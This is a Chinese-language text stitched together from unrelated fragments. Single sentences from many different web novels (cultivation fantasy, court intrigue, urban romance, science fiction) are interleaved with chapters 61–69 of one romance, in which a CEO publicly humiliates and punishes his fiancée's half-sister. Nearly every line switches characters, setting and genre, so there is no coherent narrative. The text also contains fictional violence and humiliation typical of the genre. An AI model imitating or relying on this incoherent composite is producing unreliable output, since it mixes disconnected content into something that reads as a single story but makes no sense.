当然,刘青忠对我的教导十分满意,这次张本渝的线路就完全交给刘家豪来做一次试试。
“所以我就能算作二十一岁以下吗?”莱斯眨了眨眼睛:他觉得自己怎么都不能算二十一岁以下吧?
而这个时候却有很多星兽靠近了他们,似乎是想要阻止他们前进。
不过邵阳走到一个穿着皮衣的男歌手面前时,那名男歌手只是皮笑肉不笑地点了点头,并没有和邵阳握手,邵阳猜到他可能是东皇娱乐的李荀,就立马把手缩了回去,在自己的位置上坐了下来。
陈昭猛然意识到,虽然万雄的奇异能力能让刀修和武夫对他束手无策,但却对练气士却没有影响。因为练气士根本不需要借助兵器这等外力,可以直接通过灵力与元素产生共鸣。
徐令仪甚至有些后悔当初表现的太过,就该直接怀上孩子,日后就将赵昀扫地出门,什么眼睛,隐疾都不管才好。
中间有一部分是我和陶荣华的“提成”,陶荣华会用钱的方式帮我折现。
他们很少牵手,从结婚到离婚中间这一年多的时间里,可能连五次都没有。
石长老闻言还是没有丝毫改变的低垂着脑袋,那样子似乎林羽在说的是别人。看到这里,林羽再次深深的看了一眼石长老,随后转身就走。拜月并没有阻拦林羽,并非是因为林羽的实力,而是因为他也想和石长老有个了结的。
沈三在狱中自杀了,周征却坚强地活着,希望京中的大佬们会伸出援手,他到扬州这些年,贪污的大半银子都送往京城,很多朝臣拿过他的孝敬,他不相信这些人不为他求情。
琼霄说者无意,但云霄却忽然一震,看着碧霄离去的地方若有所思。随后她再次看了看林羽的房屋,心中无奈的自语道:难道你真是想将我们姐妹一网打尽么?
一阵脚步声迅速的远去,只留下宁北海的尸体孤零零的留在原地。他睁大眼睛死不瞑目地仰望着天,鲜血在他身下不断的蔓延开来,没有半点生息。
沈连城忙将他引到室内,并吩咐青菱玉荷下去让人准备茶水和点心。
“大家听我解释……”在众人一番猜忌之后,几乎是把所有可能性都捋了一遍,萧炎实属无奈的叹了一口气,才缓缓开口。
就在秦云看到黄飞虎的时候,黄飞虎也同样看到了秦云的身影,神情凝重。除了他之外,黄明、周纪、龙环和吴谦四人也同时看到了秦云那熟悉的身影,顿时当场倒吸了一口凉气。
所以没有去做贪心不足蛇吞象的事情,将得失玩的明白者,也是一个聪明人。
萧炎神色肃穆,他目光看着这些紫雾,能够有所猜测,能够让这男子拥有底气必定是和这身后紫雾有所关联,他应当能够控制这紫雾大阵。
沈月澜登时就坐不住了,直接冲到沈钟毓跟前,脑袋硬是凑在话筒上让沈钟毓不得不停下话语。
第一卷 第61章 求原谅
“以后,但凡是‘晚星科技’或者我未婚妻江晚絮出现的场合,我不想再看到这张脸。”
“明白?”
“是,顾总!”
几个保镖听从顾彦廷的吩咐,几乎没有任何犹豫,就上前架住了还在发懵的江芊妤。
“不!你们不能这样对我!顾少!我说的都是真的!”
“波犹博士:杰佛斯·波犹博士——配音二。我找到了一个标准的IMC救生箱,这里面有足够的干粮能够让我撑上几天。
即使是三号也不能和他相比,虽然现在拥有了四处传送这样强力又好用的技能,但是攻击力还是差一号一点的。
“如果是个男人,就堂堂正正的与我一战,生死全凭本事,如果不敢的话,那就直接去死吧。”冈罗看着洛瑞学院的众多导师们都没有出来的意思,开始放心的喊了起来。
这座山有好几百米高,占地面积恐怕有几百公顷,别说是他了,就算是他大哥这个绝世高手,也不可能一拳把这座山打崩。
激烈的交锋,从天上到地上,再到地下、水中,大陆、山峰、星辰都被分割成碎片,身后出现一个个恐怖黑洞,世间一切都在颤抖。
经过一天的休息,第二天李夏便给韩正凌在麻省总院办理了住院手续。
李夏身着白色秀龙图桉的中山装,一边走上舞台,一边挥舞着手和大家打招呼。
在半岛打仗的时候,埋伏中的兔子们看到鹰酱们的食物资源,一只兔子对他的战友说,不要流口水,口水会冻住。
而这时,位处于队伍中间的夏汐诺手中的大锤便发生了变形,从中间凝聚出了一颗发着黄光的光球,直接飞进了狼人所在的区域。
果然她的面色瞬间变得惨白!她当然知道赵立言说的人是谁,如果今天躺在这里的人换成王舒华,那阮芫估计永远不会原谅自己。
而唯独有一座木楼完好的保存下来,这是秦洛特意留下来的,否则,人都死了,谁给城里的贾忠义报信?
这么一想,夏禹先是丢出两个诱饵,就是为了让他答应把汇丰手中32%的股份卖给他。
“叶辰是吧,既然你想玩,我有时间陪你玩”坐在飞机上,杨凡闭眼躺在座位上。
在工业领域,又被洛克菲勒财团和梅隆财团渗透,特别是梅隆财团对其的渗透尤为严重。
随着他的话音落下,一个鼻青脸肿的青年被人抬了出来,身上衣服都是血。
既然张菁介入了,要收拾他最好有证据。但是没有直接的邱天觉做这些的视频,就有些麻烦。那就需要陈红亲口说是“邱天觉干的”。
一连拨了好几次,短短几分钟的时间就仿佛过了半个世纪般漫长,让埃里克·施罗德内心备受煎熬。
于是她也只得很机智的样子,以自己人的态势,默默的站在了谢金艳的身边。
此时的陈莎莎就像一只蚕宝宝似的,卷这被子爬到脚的那头,这才找到手机。
事后,灵帝专门下旨犒赏三军。董卓因平乱有功,被灵帝破格升任凉州刺史,又拜前将军封陵亭侯,风头一时盖过宇信。
“四象出”何清凡重喝,手掌心处显化出青龙,白虎,朱雀,玄武四象的神印,一经出手,便是瞬间的放大。百余丈的躯体让人无法一眼而尽观其身,散发着神性的光辉,沐浴金光,怒吼的冲向了干莫。
第一卷 第62章 她根本就放不下叶寒
柴桦招呼姐妹俩坐下吃饭,让大刚好好烤点鱿鱼、鸡心、肉串什么的,好好招待这远方的来客。
白药儿绷着脸坐到李智办公桌对面的椅子上,非常舒服的一张椅子,如果把木制椅子升级到人体工程科技椅,应该需要不少‘信仰之力’吧,现在能做到这样极致享受的,恐怕也就只有李智这个幕后‘土财主’了。
“杀!”金无名召唤出全部的人形魔果,每一尊都拥有着吞吐天地大势的伟力。
“皇上,这些都是皇太后吩咐的,奴才只是下人,没有说不有权利,还望皇上明察。”许茂顾不得去擦额头上的汗水,只是一刻不挺的叩头道。
不过,其能量凝聚不散,开始慢慢汇聚,最终形成了无与伦比的能量洪流,朝着叶梦疯狂涌来。
怀着强烈的好奇心,我苦苦的搜查,发现那几个字居然是可以点击进入的。
可是谁又规定过一个中年人不能拥有一颗少儿之心,不能和自己的好姐妹好兄弟一起玩儿耍呢?
“什么?”正在倒茶的无双听凤于飞如此说,一个失手便砸了茶杯,发出清脆的声响。
那一行六人貌似旅行的人,不紧不慢走着,好像要经过军营大门,走向街道另一端去。
李天逸笑了,说道:“三十六计中打草惊蛇这一计的使用前提是,我们已经准备周全了,我们已经想好了所有的应对办法,为了逼迫敌人现身,所以采用打草惊蛇这一计策的。
当意识渐渐模糊之后,颜姝的心也变得平静了下来,心里没有任何的杂念,只知道自己需要在这里待上七天的时间。
“前辈说笑了!”左君有些尴尬的一笑,其实左君觉得也不能怪自己反应太过,只是眼前这人说话大喘气,再加上自己身上的隐秘来历诡异,就连自己都不清楚原委,只是知道个大概,由不得不提防几分。
在酒不醉的绝对领域之下,角面无法施展任何神力,只能乖乖退却一旁。可惜不能用精神力去看修特里里和希里克的状态,酒不醉的金色长柱完全挡住了视线。
瞿雁菱脸上露出一丝戏谑神情:“这就灵力不支啦?我看你刚才神气十足,我还以为你能一口气飞到陨剑谷咧!”嘴上虽然并无放过易轩的意思,脚下红云却渐渐慢了下来。
赵青龙还是要提醒曹鹏的,他知道曹鹏是重感情的人,但是要是金泽明这边提前知道了一点什么,来疯狂的报复的话,那么对于曹鹏集团来说,是毁灭性的,对于曹家势力的影响,也是非常的巨大的。
“好好用心观察情况,别着急猛进”风隐踮起脚点向进入考场的冷汐言挥挥手。
“为什么要担心他们的死活呢?他们本来就是杀人犯,杀人偿命这不是天经地义的事情吗?”我的脑海之中有一个声音在质问着我,但是这个声音不是三代目的外孙……这个声音是我——是作为唐栀涵的我的声音。
仔细分辨之下,是前面有五名修士在逃窜,后面有九名魔修在追击,刚才逃走的黑袍魔修同样赫然其中,当中有三名魔修十分引人注目。
风月蓉用被子蒙住脑袋,不想再去想这些事情,努力让自己睡着,漫漫长夜里,渐渐进入了梦乡。
“丸,这次有个艰巨的任务交给你。”鸟山辅佐官一脸凝重的对着自己的助手丸说道。
林太平、红娘子和王动都已不能动,能动的人只剩下他跟燕七两个,要做的事却有很多。
但想了想之后,她又走进来,托起木盘,只因她生怕粥凉了对病人不宜。
所以他一躺上床,立刻就睡着,一睡就睡到下午,直到王动到他屋里来的时候,他才醒。
萧别离微笑道:“她卖的是男人那种越买不到、越想买的毛病。“推开第二扇门,是条走道,很宽的走道,旁边还摆着排桌椅。
“什么?大贤良师果真是如此说的!”听到波才自述被张角命令在他手下做事,蔡旭的脸上当即就浮现出了一抹无法掩盖的惊喜神情。
”是呀,都督,我们经不起厂卫和大臣们之间的内斗呀!请都督彻底废除东厂。“顾秉谦就对黄立极表示了支持。
它的双眼便是鸳鸯眼,说真的,要是将波斯猫的双眼挖出来,我还下不去手。
说完,他和刘师傅走在前面带路,希孟和希孔哥俩带着渔民跟着他们来到了海边。只见海边的沙滩上二十艘渔船整齐的排列着。
笑声突又变成惊呼,一个花生壳突然从门缝里飞进来,打掉他两颗大牙。
程宰应诺而出。他有种感觉,总觉得这件事对他来说是个极大的机遇,说不定就此能够一飞冲天。
李云飞手中长剑就如同软化起来。化作一道光圈,在自己周身舞动。根本就不让宋缺的刀钻进任何空档缝隙,任凭宋缺展开密如骤雨、无隙不入、水银泻地般的近身攻击。而李云飞也能挡住宋缺的攻击。
林孝珏道:“陆大人还特意问我过不过堂?”说着走向柜台窗前椅子上坐下。
木森把吕铜送到吕氏商会才返回伯爵府,在门口碰上风尘仆仆的费则,“费部长,石埠郡的谈判结束啦?”他笑吟吟地打招呼。
大部分人怕的就是这个战区大本营,数万正规军随时可以打垮一个地方军团,没人愿意与他们正面为敌。
“给我留下。”拜月教主大手抓来,岐山之顶被抓的粉碎,只是叶枫早已不见。
有些事没有退路,虽然裴通有些不决绝,但面对万抗,只好使出浑身解数,他希望能早点放倒万抗,回头和宋大成一起对付那个叫关志诚的家伙。裴通看得出,关志诚绝对一般实力。
潘彪对万抗始终有清醒的认识,他开始就知道万抗绝非平庸之人,所以一直都比较敬着,不管是当初在锦豪负责安保,还是后来出去自谋出路,他始终都很客气。
第一卷 第63章 把她的衣服扒了
江明宇一把揪住江芊妤的衣领,将她从地上拎了起来。
“你把我们当傻子耍呢?”
他眼睛通红,几乎是吼出来的。
“顾彦廷有多宝贝晚絮,全京市的人都知道!酒会上他是怎么护着晚絮的,你眼瞎没看见吗?”
两个儿子都是天才『奶』球,这种问题还是让他们自己去解决吧。
病好都是一周之后的事情了,我的手上满是针眼,我天天就伸出来自怜自怨一番。似乎是忌惮着我的身体,沈铎在我生病的时候一直很安分。
那些巨蟒被从天而落的炸弹给炸了个迷茫,还没有搞清楚怎么回事的,就感觉到了晕头转向,身上被炸得血肉模糊。
苏二奶奶抱着孩子,顺着姜艳纷羞涩看向何德庆,又顺着何德庆目光看到姜艳夏身上,再看住羞涩可爱不已姜艳纷,眉梢一点点挑起,直挑出个眉飞色舞来。
离病房不远的时候,宝贝果然看见孙杰于医生领着两个护士正对他们送来注目礼。
托尼也明白了,罗德被这个斯特恩参议员给利用了,用断章取义的办法来污蔑自己,一份详细的报告自然是要把好处和坏处都列举出来,那么只念坏处有什么用。
一股毁天灭地的气息,自他元神上弥散开来,令天地万物都为之瑟瑟发抖。
其实,李鸿章与当时的大清四大名臣早已开始在南方一些城镇开始效仿西洋人进行一些工业方面的革新了,在煤炭与钢铁、以及机械制造等方面也开始聊尝试。
“怎么回事?”苏无恙忽然想起那次他追厉秣风,出了车祸,伤了腿,那这次呢?
属于战士的力量没有丝毫影响依旧能够运转自如,而属于鬼修的那部分则是运转起来格外的艰难。
静到苏乔乔刚刚来到门前,迷迷糊糊间,似梦似醒时候,王景琛仿佛听到门外有鬼鬼祟祟的脚步走动,还有细细的呼吸声。
“二十一也还算年轻,有什么可急的?我爹可是二十五了才有四个儿子的呢。”顾思言好笑道。
“你肯定是看人家长得漂亮搭讪去了吧。”魂擎天道,果然当哥哥的了解弟弟。
现在时间已经过了八点多,职工大院的人,有一大半人上班去了。
韩琦倒是好多了,一向对军事精通的他没有费多大的劲就把枢密院握在了手中,禁军、三衙、兵部、狄青,这些他抽出时间来后就要慢慢收拾了。
听着这位制片副经理这个说法,李世信“嘿”的一下,笑出了声。
“该死!居然没死!”我奋力挣扎,静夜也从原地弹起,异化了半边身体,向我的方向冲来,试图帮我。
王桂枝让他回家之后,尽量早点把王明兰在外不检点的事儿,给闹出来。
虽然杨天实力只是圆满级,但是论地位完全可以匹敌虚神级强者,不会比他低。
不仅是唐柠觉得惊讶,就连那些原本对宰相非常推崇的人,在得到这么一个结果以后,对他大失所望。
郝艳艳现在在集团做部门经理,是冷乾申安排进来的,冷赫城也懒得管那么多,而且郝艳艳也没闹出什么事,她就更加懒得管了。
没过多久,这些赤链蛇终于承受不住众人的围攻,纷纷被斩成了肉泥。其中红樱的血影斩和穆灵的死空斩效果最为显著,对它们造成了极大的伤口,不然其余的人还一时无法轻易地奈何得了它们。
第一卷 第64章 你值得最好的
林舟几乎没有任何犹豫,在顾彦廷说出那句“把她衣服扒了”以后,立刻躬身:“是,顾总。”
江芊妤彻底懵了。
她……她听到了什么?
扒了她的衣服?扔到马路中间?
“不!顾少!您不能这样!”
她吓得魂飞魄散,转身就想跑。
离落点了点头,环顾着整个药房,她的目光在闭目养神的老者身上停顿了一下,清眸内闪过一道隐晦的光芒。
只听得“哐当”一声脆响,诺大的玻璃窗上的玻璃瞬间变成玻璃碎片。
“这是何种妖兽?”叶伽和东华羽凡都是一脸惊异,可是眼中又有些好奇。
马斗斛开心地笑着出了屋,和在外面等候的邱成云一起出了客栈。
骑猪人还真不想现在就回去,好不容易进入卧龙山庄,不升个几级就这么回去太可惜了,大不了花个几亿金币。
她暂时没有堂内贡献,无法购买这些东西,只能看看,比如说那个易容丹,她觉得可以到时候兑换个几颗,拿回去给九处研究一下,看看能不能复制出来。
第三位正是宗琰,她在前几天刚刚突破,如今境界还不稳固,这一战恰好助她稳固境界。
‘零零七,你现在是什么态度,难道你就是这样面对上级的吗?’曾学伟是一个追求强力控制的人,他无法容忍零零七这样近乎散漫的态度,所以直接出言呵斥。
“成与不成,犹未可知。”甄猛喜忧参半的说道,修为达到后天极限,已有三年之久,如今才窥破一丝火属性真意,他也没把握成就先天。
托着满满的一盘食物连带着三只酒壶,若溪从御膳房走出来,绕过一条石子路慢慢走着。
自顾自得瑟了一会儿,就扔给高福拿去存档,一转眼,至此,这厚厚的一打折,欧阳已经完全抛在脑后了。
巫荒有絮絮叨叨的嘟哝了一会,紧接着就是一阵低沉的祷告声音,哇啦哇啦的钟山也听不懂是什么,索‘性’也不听了,慢慢的穿好衣服,就坐到里面等着他们祷告完。
“你为什么这么说?”陶思悦眼里闪过好奇,将手中的咖啡杯放在桌上,寻问的目光落在韩靖萱的身上。
“我要去警察局查一些东西,把你的中国身份证给我。”走上来,杰里说。
端木昊冷冰的唇突然覆上韩靖萱的唇上,戏调的啃咬着突然用力的狠狠咬着韩靖萱的唇瓣。
玉兰心头一惊,刚让那一双冷漠的眸盯了一眼,顿时就被吓得汗如雨下,差点儿惊呼失声,要不是旁边的另外一名乌雅家的格格,暗地里狠狠地拧了她一把,恐怕要出丑了,经此一回,她急忙低头,再也不敢和皇后对视。
宋二公子勾唇朝着苏思涵微微一笑,然后客套的让刘氏和苏父先上座,之后也和苏家几个兄弟热络了一番才跟着坐下。
“是的!忧儿,如果累的话,我们上楼休息吧!”宇哥哥温柔地说道。
莫鹰和端木昊相视一眼,现在他们应该要习惯的应该是从金妮妮嘴巴里不停的冒出的成熟的想法。
再往里看,更多的血淋淋的大腿胳膊还有手脚之类的人体四肢都被悬挂在半空。空气中到处都弥漫着福尔马林刺鼻的气味,令人窒息作呕。
“靖榕,你怎么了?”郝连城深见靖榕在客栈之前发呆,这才出声询问。
第一卷 第65章 心,还是会疼
顾彦廷的怀抱,是江晚絮在这个世界上唯一的安全港。
那些曾经能轻易刺伤她的刀剑,如今隔着他坚实的胸膛,似乎也变得遥远而模糊。
但遥远,不代表不存在。
午夜梦回,那些被撕裂的伤口,依然会隐隐作痛。
如果不是宋墨,新上任的五城兵马司都指挥使怎么会把自己叫到家里来?
四阿哥这边说着,那边曹颙已经是暗暗点头。这算不算以往的“攻势”有了成效,四阿哥这般说话,虽然在别人看来,好像是得罪了曹家父子与七阿哥似的,但是曹颙却只当他是好心。
大力心下大定:“那就迎战敌人!”来都来了怎么可能灰溜溜的走。
然后,杜飞发现季铁兰浴袍里面什么都没穿,季铁兰的脸更红了。
杰西卡莞尔一笑:“那我就去办火药吧,至于,箭杆弩弓什么的,你自己去想办法。”说完又是一扇空间门消失不见。
沈瑞点头应了,徐氏放心不下丈夫,说完正事,就带了红云回去。
“大师兄,这个家伙真的需要你如此认真的对待吗?”叶剑收回目光,北方秀身旁,一身银色宫装的西子凤突然询问道。
沈瑞将手中的钥匙放在一边,却是重重地松了一口气。之前看徐氏,像是心存死志,看着令人心惊;如今不知什么原因,却像是已经走出来了。
——任务提示:目前穆克塞隆的学术课题是织法者a兵进阶研究,帮助他一切研究需要。
大力一时语塞,什么穿越者什么职业代练,面对一身神器的玩家,真的好苍白好无力。
虽然看上去仍旧密密麻麻,但是和天空中难以计数的繁星比起来,黄道之上的星辰数量已经少得多了。
中场也进行了轮换,卡卡获得了首发,他和土耳其球星努里?沙欣、何塞?卡列洪组成了全新的中场。
路西法神色满是惊惧,他早就以神念扫描过了这向其袭来的柔光,但是在柔光照在自己肉身之前却从未曾从那柔光之中扫描出任何可能有损于的物质或是能量,然后便莫名其妙的放松了对那柔光的防范。
姬清惠主管光科制造的,明秀贞是军方总司令,相关于制造的一切问题问姬清惠就可以了,建军方面的事务问明秀贞。
对于这些暴躁的家伙,梅琳并没有理会,她的目光只是锁定着泰格斯隆,而当那个豹人,在冲进她周身数十米范围时,那森林之中,陡然传来剧烈的破风之声,数道闪烁着荧光的寒芒暴射而出。
后来,半岛事件爆发,毛熊和西方国家闹僵了,西方国家要对毛熊进行经济制裁,首当其冲的就是毛熊的能源。
“洽谈这个词算不上,我这次哥你“单独”于此,不过是想要清清账罢了。”我展露出了一丝恨意,牙齿也咬的咯吱作响。这样行动上的耍狠许是幼稚,可至少我生气的姿态算是同他彰显了个明白。
“只需要在芯片里增加一个讯息接收和发送装置就行,没有难度的。”叶晨自信满满。
录音棚里的两位录音师都是洪涛学调音师时候的师兄,和林强一样,他们在单位里也不太吃香,干脆辞了职出来和洪涛混。能不能长远顾不上了,至少眼前挣的比单位里多好几倍。
第一卷 第66章 你一定会孤独终老
顾彦廷为江晚絮准备的生日晚宴,极尽奢华。
包下了京市最顶级的七星酒店整个顶层水晶宴会厅。
“这事也不能怪你,就算今天不是因为你,日后我遇到他们,也肯定会被带走的。若不是你通知了唐林,我也不可能平安无事。”林碧璐微笑道。
但其实鹿鸣没有什么太多的感觉。要说感觉,那就是,还是觉得不真实。不知道为什么就是不太能相信。
不等朱八把话说完,丁枫跃然而起,飞速的掐动法诀,瞬息间又一条红焰火龙从他的双掌中腾跃而出,朝着朱八掠去。
“遵命!我的夫人!”顾萧然好笑的拉起苏晓青的手,在她掌心落下羽毛般的吻。
“但我们不一样,我们的药材并不是依赖罗家进到麦州的!”鹿鸣眼睛亮亮,眼眸里跳跃这一些野心。
不曾隐藏,更不曾遮遮掩掩,就那么大大方方的,披着月光,行走在千云宗内。
“流氓……”苏晓青假装挣扎了几下,还是顺从的跟在顾萧然身后,感受着他掌心灼热的温度。
然而,下一刻,我的怒火腾的一下就起来了,对面并不是陆乔的声音,而是一个男人的声音。
三大圣地跟唐林协商好了之后,唐林拿出地图,厉虎等人看到地图,也都靠近过来,朝地图上望去。
苏明华的名声本就不好,加上苏氏的名声也越来越差,谁还敢在他新公司成立后,跟他合作呢?目前跟苏氏合作的公司,都该趁着苏氏还未倒闭,赶紧解除合约了吧?
王恒领命退出中军大帐后,徐达这才吩咐道:“传我将令,各军将领中军帐议事。”候立两侧的甲士各自领命出帐,不到片刻间元军各营将领便已齐聚中军大帐。
天剑妖王虽然还没有去过魔界与仙界,但是也知道仙魔二界一定被摧毁的厉害,要不虚魔魔王与峒灵仙王怎么会将二界的高手悉数出动,来与冥界决一死战?
“噗!”韶华再忍不住噗呲笑出声,看着他一脸阴沉,急忙把孩子接过来,又唤来初荷给她送新的尿布过来。严恺之抿紧了唇瓣,看着被尿湿的衣袖,眉头皱得更紧了。
包括那也仙尊在内的几名仙尊都将视线投向了龙梦,龙梦的事迹,他们或多或少的了解一些,看法也各不相同。
我的呼吸还没平复过来,呼吸还是有些急促的,我相信对我没死的事情方维时知道的。
看来达斯军团长和安纳贝尔将军一时半会难以作出这个决断,难道又要自己来唱黑脸,充当这个遗臭万年的大坏蛋?
这人本就是混血的面孔,东方血统的柔和曲线恰好中和了西方血统硬朗立体的五官,整张脸就像是黄金比例,而他的笑恰如其分的勾起,将所有的面部表情都掩盖在这笑里,让人摸不透这笑里藏的是刀还是蜜。
薇薇妮儿连忙停止了追杀剩下的几个四处逃窜的骑兵,几个闪身,追着自己的少爷去了,只留下个背影给城墙上密密麻麻的士兵和魔法师。
“龙梦的伤势恢复了对你来说不是好事么?只有龙梦没事你的心中愧疚才会少一些不是么?”青檬装作不解的样子说道。
第一卷 第67章 饶了她这一次吧
顾彦廷的声音,通过话筒,传遍了整个宴会厅。
冰冷,而霸道。
他将微微颤抖的江晚絮更紧地护在怀中,然后扫向台下那状若疯癫的江芊妤,每一个字,都像是从牙缝里挤出来的。
“你是蟑螂变的吗?怎么没完没了的。”
江芊妤脸上的得意笑容,瞬间凝固。
她没想到,顾彦廷会当着这么多人的面,如此不留情面。
“你……”月倩茗本想再解释解释,但一想到对方的性格,便懒得说什么了,反正对方只相信自己眼睛看到的,就算你说破天,除非拿出证据或者她亲眼见到,不然她只会认为自己是对的。
动了恻隐之心的亚丝娜决定和这个孩子一起睡,两人亲密的贴在一起,像是亲人一样。
不过将这等异兽培养成坐骑并不容易,幸好在这方面精灵族绝对是专家。赛尔斯打算此行结束后,顺路去一趟精灵大陆,风行应该很乐于帮忙。
“我不知道她听见了什么,因为我根本就没有什么秘密,当然除了你那天允许我保留的秘密以外。”韩靖萱握紧了双手,她不相信安湘儿真的知道些什么。
赵构一眼望去都是糕点,形状各异,其中有一块却是独具匠心,这让他有些好奇起来,便直接了当的走了过去,拿起这块糕点,只见上面写着‘千里姻缘一线牵’的字样。
毕竟大部分阵师因为花了太多时间和精力去研究阵术,本身的修为并不高。
刘华扬是龙华大学动画专业的超一线讲师,距离副教授只差一步,他的风格很随意,他不爱备课,总是想到什么就讲什么,这种方式令他的水平看上去忽高忽低的,所以当了十年的讲师,他都没能晋升副教授。
“唔,我看看……”蓝原延珠看了看手中的编号,之后开始在墙上寻找编号对应的委托。
“看来,我们和兽人帝国之间,一定要狠狠地打上一场了。”安迪雅在将狐人祭祀送出了精灵要塞之后,淡淡地说道。
林雅也感受到李成国的心情了,不过在这件事上面,她始终没法转换立场,毕竟这次的主角是李昊。
“唉,这还用问么?当时我就预感他会是个残疾,少个胳膊腿的,没想到竟是眼睛。”鬼千妁泄了口气道。
慧空又在崔昊熟睡之际,不惜损耗自己的内功修为替崔昊开始肃清体内的杂乱气息,直至深夜,见崔昊体内空空如也,方才停歇。
梁伟发心里头叫了一声苦,才知道自己的奸诈远远不及格眼前这一个奸诈老曹操,自己心口哇哇冒血,再想说什么,却看着周围业界的同行们那奇怪的眼神,才发现此时自己再想说什么话都变得苍白无力。
带着满脑子的疑惑之意阿韵坐下来与莫离一同吃饭,本来今天她对莫离的印象已经有了很大的改观,却不知道为什么这个家伙竟然又在无形中招惹了林雪瑶。
早在几天前,齐天城官方就下达了公告,要求附近的村落可以进城躲避,但是绝大多数的人还是留在了原本的地方,他们都抱着一种希望,希望他们的顺从可以给他们带来平安,但却不知道倾巢之下岂有完卵。
“相声哥你要不要喝点酒?爷爷可是有珍藏了好多年的好酒。”唐七七便吃边问道,这丫头确实饿了,腮帮子被撑得鼓鼓的。
“客气了,保护民众是我加里奥学院该尽的义务。”虽然说的话很客气,可韩萧风的脸上依然傲气十足。
第一卷 第68章 江家会怎么样
江晚絮冷漠地看着柳芸的表演,一言不发。
柳芸见她不为所动,哭声更大了,开始用力地扇自己的耳光。
“啪!”
“啪!”
清脆的巴掌声,一声比一声响。
“是我该死!是我以前对你不好!是我偏心,我不是人!”
“我给你磕头了,晚絮!”
不过称谓而已,其实根本没什么,却,又何尝不是心理最直接直白的反应?
这时高竹进来,就好像没有看见太子似的,走到胤禟面前,单膝跪地,为胤禟把脉。
三月二十七日,那娃崽子的满月宴,我和一众师兄,浩浩荡荡进了他的府上祝贺。
“大战在即,如果没有潘辰大人你的镇守,仅凭卡普大人和藤虎,是远远挡不住海贼联盟的进攻的。”马丽娅的脸色也很是忧虑。
不待苏静卉应声,秦盼蝶三姐妹就不约而同应道,又把世子妃沈欣婷的眼惊瞪了个圆。
我费了很大力气才讨了来……我跟他要了好多天,我这几天也是难落结局的。
奇垒氏道:“听着,建宁,今天额娘要去很远很远的地方,你如果将那天的事说出去,额娘再也不会回来了。”这话说完,奇垒氏不禁流泪。
“我听说过的,大画家,和郎森先生一起参展的。”他特意提到了郎森。
沈约睁圆了自己的双目,盯着对面的叶凡,语言有些错乱的说道。
李四儿第二次被董鄂妙伊扇了一耳光,她哪里想到在皇宫里董鄂妙伊也敢动手。
陈稚然点点头,狭长的双眼闪过一丝赞赏,“的确如此,其人手段且不说,光是他夸张的武道进阶速度就有些违反常理。
而这一夜,她辗转反侧半天也没睡着,黎明时方才昏沉沉睡了过去。
只是,即使为了将来抓捕鳌拜更容易,四贞也得让他对她消除成见,所以她就看似带着三分醉意,心里却很清醒地和鳌拜说笑。
他过来坐在对面的时候,我的耐心其实早被消磨殆尽了,可是我却依然若无其事稳坐在那里,没有太多肢体上面的挪动。
原来,早在十几年前,从这具父母的身体得到真魔手骨和无上天功平天下时,一切已经有了定数。
肖恩当然不会蠢得将托尔的身体属性值也一并对他的父亲说明,他只是着重的突出了托尔有着强壮的身体,极有可能拥有成为骑士的天赋。
外面已经是华灯初上,初秋季节,晚风已经带了些许凉意,幸亏我披了件衣服。
三只巨蝎赤红的眼中透露出无尽的狂乱,转身对着昆吾义发出震天的怒吼,任凭无数的攻击落在身上碰撞出耀眼的火花,而在这没有一丝介质的虚无中,那吼声缺诡异的传遍了方圆百里。
贵族之间的正常交往,一般都离不开宴会和舞会。而面对前来拜访的客人,美酒佳肴更是必不可少。
这里是整片树林的边缘,离昨天遇到野猪的地方有一百米左右,但这个地方的地势要高一些,让我得以先观察了一番。
而主神魂催动的飞梭无疑将会成为他逃命的依仗,而且,他要拆开来研究,改造,伪神器的炼制,他现在即便没有能力,恐怕也相去不远。
喝了不少酒,他头颅里那种仿佛要爆炸的疼痛,暂时被酒精压制了下来。
尤其是远古巨鳄从山洞冲出来的那一刻,连续撞倒了好几棵大树,已经从一定程度上说明了对方的实力。
第一卷 第69章 江晚絮终于死了
“江家是自作自受,晚晚不用在意。”
顾彦廷语气平淡,仿佛在说一件再寻常不过的事。
江晚絮沉默了片刻。
“那个时候,江明泽他们,应该会来求我吧。”
“嗯。”顾彦廷应了一声,“他们很快就会发现,威逼利诱,都没有用。”
“然后呢?”
顾彦廷侧过头,看了她一眼,嘴角噙着一抹冷笑。
“然后,他们就会开始打感情牌。”
按惯例,若太后健在,皇后当五日一朝,若是太妃,则无定例,但如今闻道宫毕竟有个太上皇,凌妆便定了十日一朝的规矩,每当这一日,也会顺道去上林两宫给两位太皇太妃请安。
呼延暖心看她,他带笑的双眸,染着嗜血的光芒,呼延暖心一颤,下意识般的想要退后一步,奈何,他的大手,紧紧握着她的,她退不得丝毫。
权刑不甘心,若是了无牵挂,那他也不会有何迟疑。可他心中仍有留念,他还要报恩,用自己一生去偿还杨虎的恩情。
方圆圆先是用未调和的玫瑰果油推拿全身,手法轻柔缓慢,用意全在乎“放松”两个字,务必使徐娟的毛孔张开,肌肤柔软。玫瑰果油能够深层滋润肌肤,保持弹性,还能帮助乳酸代谢,十分好用。
“大夫,她怎么样了?”陈队长焦急的看着正在写记录的李大夫,他是个四十左右岁的中年人,看起来很稳重。
良久之后,四个轰子的笑声才缓缓地平静了下来,直到停止。
这一刻,他们听到凌云成为龙湖镇第六大势力是那样的激动,凌飞的话像是万斤重的大山,落在众人的心中是那样的有分量。
真以为,她死了,混乱不堪的候府,就会如大老爷设想那般,达到真正的“破而后立”?
其实也是他们在商量着,我是听着听着便睡着了。熊胖子心疼我,最后是他推醒我,和骆宏彦两人送我回了家。至于骆宛天安排的行动嘛,自然要从第二天开始了。当然,我是牢记了自己的部分了。
“可是弟子觉得修炼如同逆水行舟不进则退,不是吗?”对于师傅的言论,南宫黎时候不是很赞同,时间都是抢出来的,哪有修炼歇一会儿的道理?
现在距离出国的时间就剩下两天了,如果她现在放弃的话,留学的事情就只能成为泡影了。
打捞船距离岸边越来越远,杨波终于算是安全了,最近以来,他一直觉得会被找到,没想到常五想要亲自动手,隐瞒了消息,反倒是给他争取了不少时间。
听到唐叔的话,我和唐紫马上把背包拿下来,这次我就知道可能会出现什么意外状况,可以把平时需要的装备都给拿来了。
“你是不是因为秦惊鸿才讨厌秦家人的?”云舒想起那次拍摄田园屋的时候,她有看直播。
宋凉生的这一举动,无疑是告诉了记者,他和蓝梦的确是一对,而苏晚这个曾经的“宋太太”则成了第三者。
青年疼的不断嚎叫起来,尤其是看到自己的手臂被硬生生的拽掉,瞬间就吓失禁了,嚎叫过后直接昏死了过去。
楚阮的胸口一阵疼痛的抽-搐,眼眶笼罩的是那怎么也洗不尽的血红。
顾若离又买了一些霜炭让人装了车,各边都检查了一遍天已经彻底黑了下来。
